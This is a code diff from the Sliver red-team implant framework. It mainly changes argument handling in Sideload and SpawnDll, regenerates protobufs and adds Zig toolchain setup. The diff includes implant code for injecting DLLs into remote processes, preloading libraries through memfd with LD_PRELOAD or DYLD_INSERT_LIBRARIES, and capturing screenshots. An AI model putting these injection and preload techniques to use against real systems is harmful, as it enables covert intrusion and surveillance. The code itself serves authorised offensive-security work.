github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U=
|
||||
github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
|
||||
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
@@ -344,7 +343,6 @@ github.com/pierrec/lz4/v4 v4.1.18/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFu
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
|
||||
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
@@ -377,15 +375,12 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff h1:vnxdYZUJbsSRcIcduDW3DcQqfqaiv4FUgy25q8X+vfI=
|
||||
@@ -420,6 +415,8 @@ github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
|
||||
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
|
||||
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
|
||||
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
|
||||
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
|
||||
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2 h1:Llsql0lnQEbHj0I1OuKyp8otXp0r3q0mPkuhwHfStVs=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2/go.mod h1:twkDnbuQxJYemMlGd4JFIcuhgX83tXhKS2B/PRMpOho=
|
||||
github.com/vishvananda/netns v0.0.0-20200728191858-db3c7e526aae/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build 386 || amd64 || arm
|
||||
//go:build 386 || amd64 || arm64
|
||||
|
||||
package limits
|
||||
|
||||
|
||||
@@ -1,79 +0,0 @@
|
||||
package screen
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.IsSharedLib}}
|
||||
"bytes"
|
||||
"image/png"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
//{{end}} - End Shared Lib
|
||||
|
||||
// {{if .Config.IsSharedLib}}
|
||||
screen "github.com/kbinani/screenshot"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
//Screenshot - Not Implemented
|
||||
func Screenshot() []byte {
|
||||
buf := []byte{}
|
||||
// {{if .Config.IsSharedLib}}
|
||||
buf = DarwinCapture()
|
||||
// {{end}}
|
||||
return buf
|
||||
}
|
||||
|
||||
// DarwinCapture - Retrieve the screenshot of the active displays
|
||||
// {{if .Config.IsSharedLib}}
|
||||
func DarwinCapture() []byte {
|
||||
nDisplays := screen.NumActiveDisplays()
|
||||
|
||||
var height, width int = 0, 0
|
||||
for i := 0; i < nDisplays; i++ {
|
||||
rect := screen.GetDisplayBounds(i)
|
||||
if rect.Dy() > height {
|
||||
height = rect.Dy()
|
||||
}
|
||||
width += rect.Dx()
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Capture Error")
|
||||
//{{end}}
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
png.Encode(&buf, img)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
@@ -0,0 +1,8 @@
|
||||
//go:build !windows && !linux
|
||||
|
||||
package screen
|
||||
|
||||
// Screenshot - Retrieve the screenshot of the active displays
|
||||
func Screenshot() []byte {
|
||||
return []byte{}
|
||||
}
|
||||
@@ -3,6 +3,8 @@
|
||||
#ifdef __WIN32
|
||||
#include <windows.h>
|
||||
|
||||
void StartW();
|
||||
|
||||
DWORD WINAPI Start()
|
||||
{
|
||||
StartW();
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
@@ -58,7 +59,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
@@ -72,7 +73,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
|
||||
}
|
||||
env := os.Environ()
|
||||
newEnv := []string{
|
||||
fmt.Sprintf("LD_PARAMS=%s", args),
|
||||
fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
|
||||
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
@@ -55,7 +56,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
@@ -91,7 +92,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
|
||||
//{{end}}
|
||||
env := os.Environ()
|
||||
newEnv := []string{
|
||||
fmt.Sprintf("LD_PARAMS=%s", args),
|
||||
fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
|
||||
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
|
||||
@@ -31,8 +31,10 @@ import (
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
|
||||
// {{if .Config.Evasion}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/evasion"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
@@ -343,7 +345,7 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
|
||||
return stdoutBuf.String() + stderrBuf.String(), nil
|
||||
}
|
||||
|
||||
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
|
||||
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args []string, kill bool) (string, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
err := refresh()
|
||||
if err != nil {
|
||||
@@ -382,11 +384,12 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
|
||||
defer windows.CloseHandle(lpTargetHandle)
|
||||
dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
|
||||
argAddr := uintptr(0)
|
||||
if len(args) > 0 {
|
||||
argsStr := strings.Join(args, " ")
|
||||
if len(argsStr) > 0 {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Args: %s\n", args)
|
||||
log.Printf("Args: %s\n", argsStr)
|
||||
//{{end}}
|
||||
argsArray := []byte(args)
|
||||
argsArray := []byte(argsStr)
|
||||
argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -419,8 +422,8 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
|
||||
}
|
||||
|
||||
// SideLoad - Side load a binary as shellcode and returns its output
|
||||
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
|
||||
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, procArgs, ppid, data, 0, []string{""}, kill)
|
||||
}
|
||||
|
||||
// Util functions
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -5752,7 +5752,8 @@ func (x *MsfStager) GetFile() *commonpb.File {
|
||||
}
|
||||
|
||||
// GetSystemReq - Client request to the server which is translated into
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
//
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
type GetSystemReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -5825,7 +5826,8 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request {
|
||||
}
|
||||
|
||||
// MigrateReq - Client request to the server which is translated into
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
//
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
type MigrateReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -131,8 +131,9 @@ func (x *Request) GetSessionID() string {
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
//
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
type Response struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -87,12 +87,10 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
// NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
// depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
// [Type TOTP]: ID field is used for the TOTP code
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
+542
-358
File diff suppressed because it is too large.
Load diff
+1461
-1664
File diff suppressed because it is too large.
Load diff
@@ -451,7 +451,7 @@ message Task {
|
||||
|
||||
message ExecuteAssemblyReq {
|
||||
bytes Assembly = 1;
|
||||
string Arguments = 2;
|
||||
repeated string Arguments = 2;
|
||||
string Process = 3;
|
||||
bool IsDLL = 4;
|
||||
string Arch = 5;
|
||||
@@ -543,7 +543,7 @@ message Execute {
|
||||
message SideloadReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
string Args = 3;
|
||||
repeated string Args = 3;
|
||||
string EntryPoint = 4;
|
||||
bool Kill = 5;
|
||||
bool isDLL = 6;
|
||||
@@ -563,7 +563,7 @@ message Sideload {
|
||||
message InvokeSpawnDllReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
string Args = 3;
|
||||
repeated string Args = 3;
|
||||
string EntryPoint = 4;
|
||||
bool Kill = 5;
|
||||
uint32 PPid = 10;
|
||||
@@ -576,7 +576,7 @@ message SpawnDllReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
uint32 Offset = 3;
|
||||
string Args = 4;
|
||||
repeated string Args = 4;
|
||||
bool Kill = 5;
|
||||
uint32 PPid = 10;
|
||||
repeated string ProcessArgs = 11;
|
||||
@@ -647,20 +647,6 @@ message UnsetEnv {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// DNS Specific messages
|
||||
message DNSSessionInit {
|
||||
bytes Key = 1;
|
||||
}
|
||||
|
||||
message DNSPoll {
|
||||
repeated DNSBlockHeader blocks = 1;
|
||||
}
|
||||
|
||||
message DNSBlockHeader {
|
||||
string ID = 1;
|
||||
uint32 Size = 2;
|
||||
}
|
||||
|
||||
// HTTP Sepecific message
|
||||
message HTTPSessionInit {
|
||||
bytes Key = 1;
|
||||
|
||||
+178
-10
@@ -19,8 +19,10 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"embed"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
@@ -39,6 +41,11 @@ import (
|
||||
|
||||
protobufs "github.com/bishopfox/sliver/protobuf"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/ulikunitz/xz"
|
||||
)
|
||||
|
||||
const (
|
||||
zigDirName = "zig"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -122,6 +129,63 @@ func pseudoRandStringRunes(n int) string {
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func setupZig(appDir string) error {
|
||||
setupLog.Infof("Unpacking to '%s'", appDir)
|
||||
zigRootPath := filepath.Join(appDir, zigDirName)
|
||||
setupLog.Infof("zig path = %s", zigRootPath)
|
||||
if _, err := os.Stat(zigRootPath); !os.IsNotExist(err) {
|
||||
setupLog.Info("Removing old zig root directory")
|
||||
os.Chmod(zigRootPath, 0700)
|
||||
err = util.ChmodR(zigRootPath, 0600, 0700) // Make sure everything is writable before we try to rm
|
||||
if err != nil {
|
||||
setupLog.Warnf("Failed to modify file system permissions of old zig root directory %s", err)
|
||||
}
|
||||
err = os.RemoveAll(zigRootPath)
|
||||
if err != nil {
|
||||
setupLog.Warnf("Failed to cleanup old zig root directory %s", err)
|
||||
}
|
||||
}
|
||||
os.MkdirAll(zigRootPath, 0700)
|
||||
|
||||
// extract xz archive
|
||||
if runtime.GOOS != "windows" {
|
||||
// Everything except windows
|
||||
zigXzFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "zig.tar.xz")
|
||||
zigXzBuf, err := assetsFs.ReadFile(zigXzFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", zigXzFSPath)
|
||||
return err
|
||||
}
|
||||
xzReader, err := xz.NewReader(bytes.NewReader(zigXzBuf))
|
||||
if err != nil {
|
||||
setupLog.Errorf("NewReader error %s", err)
|
||||
return err
|
||||
}
|
||||
// Extract tar archive
|
||||
setupLog.Infof("Unpacking zig.tar.xz to %s", zigRootPath)
|
||||
return untarSkipTopLevel(zigRootPath, xzReader)
|
||||
} else {
|
||||
// Windows only, since it's an awful operating system
|
||||
zigZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "zig.zip")
|
||||
zigZipBuf, err := assetsFs.ReadFile(zigZipFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", zigZipFSPath)
|
||||
return err
|
||||
}
|
||||
reader, err := zip.NewReader(bytes.NewReader(zigZipBuf), int64(len(zigZipBuf)))
|
||||
if err != nil {
|
||||
setupLog.Errorf("zip.NewReader error %s", err)
|
||||
return err
|
||||
}
|
||||
err = unzipSkipTopLevel(zigRootPath, reader)
|
||||
if err != nil {
|
||||
setupLog.Infof("Failed to unzip file %s -> %s", zigZipFSPath, zigRootPath)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// SetupGo - Unzip Go compiler assets
|
||||
func setupGo(appDir string) error {
|
||||
setupLog.Infof("Unpacking to '%s'", appDir)
|
||||
@@ -205,7 +269,7 @@ func setupSGN(appDir string) error {
|
||||
}
|
||||
|
||||
// SetupGoPath - Extracts dependencies to goPathSrc
|
||||
func SetupGoPath(goPathSrc string) error {
|
||||
func SetupGoPath(goPathSrc string, includeDNS bool) error {
|
||||
|
||||
// GOPATH setup
|
||||
if _, err := os.Stat(goPathSrc); os.IsNotExist(err) {
|
||||
@@ -243,15 +307,17 @@ func SetupGoPath(goPathSrc string) error {
|
||||
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
|
||||
// DNS PB
|
||||
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
|
||||
if err != nil {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
if includeDNS {
|
||||
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
|
||||
if err != nil {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
}
|
||||
dnspbSrc = xorPBRawBytes(dnspbSrc)
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
}
|
||||
dnspbSrc = xorPBRawBytes(dnspbSrc)
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -277,6 +343,108 @@ func stripSliverpb(src []byte) []byte {
|
||||
return out
|
||||
}
|
||||
|
||||
// UntarSkipTopLevel - Untar a tar file, skipping the top level directory
|
||||
func untarSkipTopLevel(dst string, r io.Reader) error {
|
||||
tr := tar.NewReader(r)
|
||||
topLevel, _ := tr.Next()
|
||||
if topLevel == nil {
|
||||
return fmt.Errorf("no files found in tar")
|
||||
}
|
||||
if topLevel.Typeflag != tar.TypeDir {
|
||||
return fmt.Errorf("expected top level to be a directory, got %v", topLevel.Typeflag)
|
||||
}
|
||||
for {
|
||||
header, err := tr.Next()
|
||||
|
||||
switch {
|
||||
|
||||
// if no more files are found return
|
||||
case err == io.EOF:
|
||||
return nil
|
||||
|
||||
// return any other error
|
||||
case err != nil:
|
||||
return err
|
||||
|
||||
// if the header is nil, just skip it (not sure how this happens)
|
||||
case header == nil:
|
||||
continue
|
||||
}
|
||||
|
||||
// the target location where the dir/file should be created
|
||||
target := filepath.Join(dst, strings.TrimPrefix(header.Name, topLevel.Name))
|
||||
|
||||
// the following switch could also be done using fi.Mode(), not sure if there
|
||||
// a benefit of using one vs. the other.
|
||||
// fi := header.FileInfo()
|
||||
|
||||
// check the file type
|
||||
switch header.Typeflag {
|
||||
|
||||
// if its a dir and it doesn't exist create it
|
||||
case tar.TypeDir:
|
||||
if _, err := os.Stat(target); err != nil {
|
||||
if err := os.MkdirAll(target, 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// if it's a file create it
|
||||
case tar.TypeReg:
|
||||
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// copy over contents
|
||||
if _, err := io.Copy(f, tr); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// manually close here after each file operation; defering would cause each file close
|
||||
// to wait until all operations have completed.
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// UnzipSkipTopLevel - Unzip a zip file, skipping the top level directory
|
||||
func unzipSkipTopLevel(dst string, z *zip.Reader) error {
|
||||
topLevel := ""
|
||||
for index, file := range z.File {
|
||||
if index == 0 {
|
||||
topLevel = file.Name
|
||||
continue
|
||||
}
|
||||
rc, err := file.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rc.Close()
|
||||
fPath := filepath.Join(dst, strings.TrimPrefix(file.Name, topLevel))
|
||||
if file.FileInfo().IsDir() {
|
||||
err = os.MkdirAll(fPath, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
if err = os.MkdirAll(filepath.Dir(fPath), 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
outFile, err := os.OpenFile(fPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.Copy(outFile, rc)
|
||||
outFile.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func xorPBRawBytes(src []byte) []byte {
|
||||
var (
|
||||
fileAst *ast.File
|
||||
@@ -293,7 +461,7 @@ func xorPBRawBytes(src []byte) []byte {
|
||||
}
|
||||
var xorKey [8]byte
|
||||
// generate random xor key
|
||||
if _, err := insecureRand.Read(xorKey[:]); err != nil {
|
||||
if _, err := rand.Read(xorKey[:]); err != nil {
|
||||
// Panic because this is mandatory for the agent to work
|
||||
panic(err)
|
||||
}
|
||||
|
||||
@@ -67,6 +67,16 @@ func GetRootAppDir() string {
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetZigDir
|
||||
func GetZigDir() string {
|
||||
zigDir, err := filepath.Abs(filepath.Join(GetRootAppDir(), zigDirName))
|
||||
if err != nil {
|
||||
setupLog.Errorf("Failed to get Zig directory: %s", err)
|
||||
return filepath.Join(GetRootAppDir(), zigDirName)
|
||||
}
|
||||
return zigDir
|
||||
}
|
||||
|
||||
// GetChunkDataDir - Get the Sliver chunk data dir, default is: ~/.sliver/crack/chunks/
|
||||
func GetChunkDataDir() string {
|
||||
chunkDir := filepath.Join(GetRootAppDir(), "crack", "chunks")
|
||||
@@ -121,6 +131,10 @@ under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
setupGo(appDir)
|
||||
err := setupZig(appDir)
|
||||
if err != nil {
|
||||
setupLog.Errorf("Failed to setup Zig: %s", err)
|
||||
}
|
||||
setupCodenames(appDir)
|
||||
saveAssetVersion(appDir)
|
||||
unpackDefaultTrafficEncoders(force)
|
||||
|
||||
@@ -72,11 +72,8 @@ func (b *Builder) Start() {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case event := <-events:
|
||||
go b.handleBuildEvent(event)
|
||||
}
|
||||
for event := range events {
|
||||
go b.handleBuildEvent(event)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -212,7 +209,7 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
|
||||
builderLog.Errorf("invalid output format: %s", extConfig.Config.Format)
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err)),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
@@ -20,7 +20,6 @@ package configs
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -82,34 +81,6 @@ func coerceFileExt(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
func coerceFiles(values []string, ext string) []string {
|
||||
values = uniqueFileName(values)
|
||||
coerced := []string{}
|
||||
for _, value := range values {
|
||||
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
|
||||
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
|
||||
}
|
||||
coerced = append(coerced, value)
|
||||
}
|
||||
return coerced
|
||||
}
|
||||
|
||||
func uniqueFileName(strSlice []string) []string {
|
||||
allKeys := make(map[string]bool)
|
||||
list := []string{}
|
||||
for _, item := range strSlice {
|
||||
item = fileNameExp.ReplaceAllString(item, "")
|
||||
